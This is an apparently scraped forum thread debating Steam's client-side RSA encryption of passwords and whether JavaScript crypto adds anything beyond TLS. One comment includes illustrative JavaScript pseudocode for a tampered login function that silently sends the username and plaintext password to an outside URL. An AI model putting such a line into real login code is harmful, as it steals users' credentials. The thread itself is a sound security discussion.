One little know cool thing steam has done for a while is encrypt passwords with a RSA public key before they are sent server side.
Yes, js crypto is not worth a whole lot but it is a valuable security tool to be used with TLS. There are some neat things they could be doing with this encrypted password (other than plainly decrypting it) that add a fair bit of security (no more than just a regular hash though).
No not really. It highlights how incompetent Valve is at security.
If you cannot trust the webserver or whatever is being served to you, JS crypto isn't going to do anything. They could just send you a login script that sends your unencrypted password elsewhere.
It highlights how incompetent Valve is at security.
Adding one feature shows they are incompetent at security? Great real.
Without more information about the scheme there's nothing to know. Whether useful or not it is still neat and can be used for benefit, but not for something TLS like.
Adding a feature that feels like security but actually isn't, would not be a good sign that they have a good understanding of web security.
What's the difference between 'client sends plaintext password' and 'client sends encrypted password' from the point of view of an attacker? All you're aiming to prevent is client-side interception but in reality it doesn't matter what you do to the password locally - if what you send is what the server expects then you still get in; the encrypted plaintext effectively becomes the password. Thus an attacker who can intercept a plaintext password is at no disadvantage intercepting an encrypted or hashed password instead, since it's still valid password data as far as the server is concerned.
If you as a service provider want to deal with an encrypted password at all times then why not just do that at the server end? And as the parent said, if as a client you can't trust the intentions of the server with respect to your password then encrypting it locally does nothing when they hold the keys to decrypt it, and provide the software you're using to do the encryption and transmission.
The way it worked was valve provides the RSA mod, exponent, and a timestamp.
You rsa-encrypted your password with that information and send it. They double checked server-side that you encrypted it with that information, decrypt it with their private key, and get on with checking against the hash in the database.
What this buys you is that if an attacker intercepts that login, it can't be re-used. Next time, valve will give a different mod and exp. Next time the valid encrypted password will be different. It turns the user typing the same password every time into a new encrypted value each time with each being valid for a short amount of time.
Defense in depth. It doesn't hurt to have more layers.
Anyways, we all know you can't trust TLS because any rogue CA can compromise the security of any domain. Any of the CA hacking in the last while means that a valid certificate for steampowered.com could be issued by the hacker. Similarly, on corporate networks, a rogue employee with access to the root for the default-installed company CA could MITM any of the employees.
Some corporate networks and schools just MITM all traffic by default, and in some cases log a portion of it. If that log were leaked or poorly secured, it would help to have another layer on top of that.
There's no question that TLS is imperfect and no question that when it comes to security you should pile on as many layers as possible and assume every one of them might be broken.
Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.
As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.
Maybe this pseudocode will help you understand.
function submit(user, pass) {
$.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
var encrypted = encrypt(pass)
send(user, encrypted)
}
You don't need to be so condescending; I understand js crypto is typically a fools game.
Your example does fail for one of my examples; the case of a poorly secured log from the passive MITM of all connections at a company / university.
If the MITM was simply passive, without encryption the password (possibly valid for other things as well) has been leaked, but with the above encryption scheme it will not have been.
Anyways, the main client to this mechanism is not the browser, but the steam client which very well could verify the hash of the javascript files provided to it or their signature since valve has significantly tighter control over it.
I'm not saying that this scheme is a good idea or significantly more secure, I'm just trying to explain what could justify it.
You can't do passive MITM of TLS if the server is properly configured to use ephemeral key exchange, even if you have its private key. And even without ephemeral kex, and you somehow obtain a secondary trusted CA-signed cert for Steams domain, you still can't do passive MITM.
JS crypto really is worthless if you can't trust the connection.
If you are logging passwords, you've got bigger problems than worrying about attackers being able to middleman your TLS connection and somehow not able to modify it.
I know what you are trying to explain, and you are simply bending over backwards to make it look like this wasn't another example of how clueless about security Valve is.
I'm not going to argue but I might as well explain some of the uses here. For example, encrypting clientside and not decrypting serverside will mean it's impossible to have a plaintext password leak in the future, which decreases risk.
It also forces passive MITM to become active. Turning Eve into Mallory gives theoretical attackers much more work. There are more benefits beyond this.
What you're thinking of is using this for actual password protection, which it won't provide. It can't be used as a TLS replacement. If you've actually read tptacek's big blog post about this you would notice it has to do with using js crypto being used to protect something, which this won't provide, but it can successfully be used to protect a service from itself and many other things. It's impossible to know all the details and benefits and pitfalls of their scheme though, without all the code from the server too.
> encrypting clientside and not decrypting serverside [...]
...will also enable anyone with the encrypted password to log in, in a sort of pass-the-hash scenario. To protect against plaintext password leaks, you'll want to run PBKDF/*crypt on the server, not encrypt the password. See the Adobe password leak for the gory details.
> [...] JS crypto isn't going to do anything.
It may have provided a little bit of extra protection in some scenarios. For example, many trojans will grab any HTTP(S) POST data from your browser. If such a trojan is not specifically configured to grab Steam data, hashing/encrypting client-side will provide some protection.
The final goal this probably had is already achieved (a lot better) by properly configured TLS. I think this only prevents having the password in clear text at some specific point in time on the servers and (accidential) logging. OK, maybe some active MITM software (hi Lenovo!) that have not specifically been adjusted to replace the JS crypto may have been a concern. But probably someone just wanted to play around with JS crypto ;-)
They could have made this easier and faster by simply having the client apply a hash (have the server provide a temporary salt and mix it with a client-generated salt if you want to prevent accidential logging on your server) and handle this result as if it was the user's password (and hence hash this hash properly server-side).
As already noted, the (only) upside is that now you don't ever even process a user's password on your server, so you don't have to worry that a user's password might be stored in your logs or even MITMled in your own (unsecured) network.
I wonder why I have never read about somebody handling logins this "double-hashing" way? Anything I'm overlooking security-wise?
Yes, js crypto is not worth a whole lot but it is a valuable security tool to be used with TLS. There are some neat things they could be doing with this encrypted password (other than plainly decrypting it) that add a fair bit of security (no more than just a regular hash though).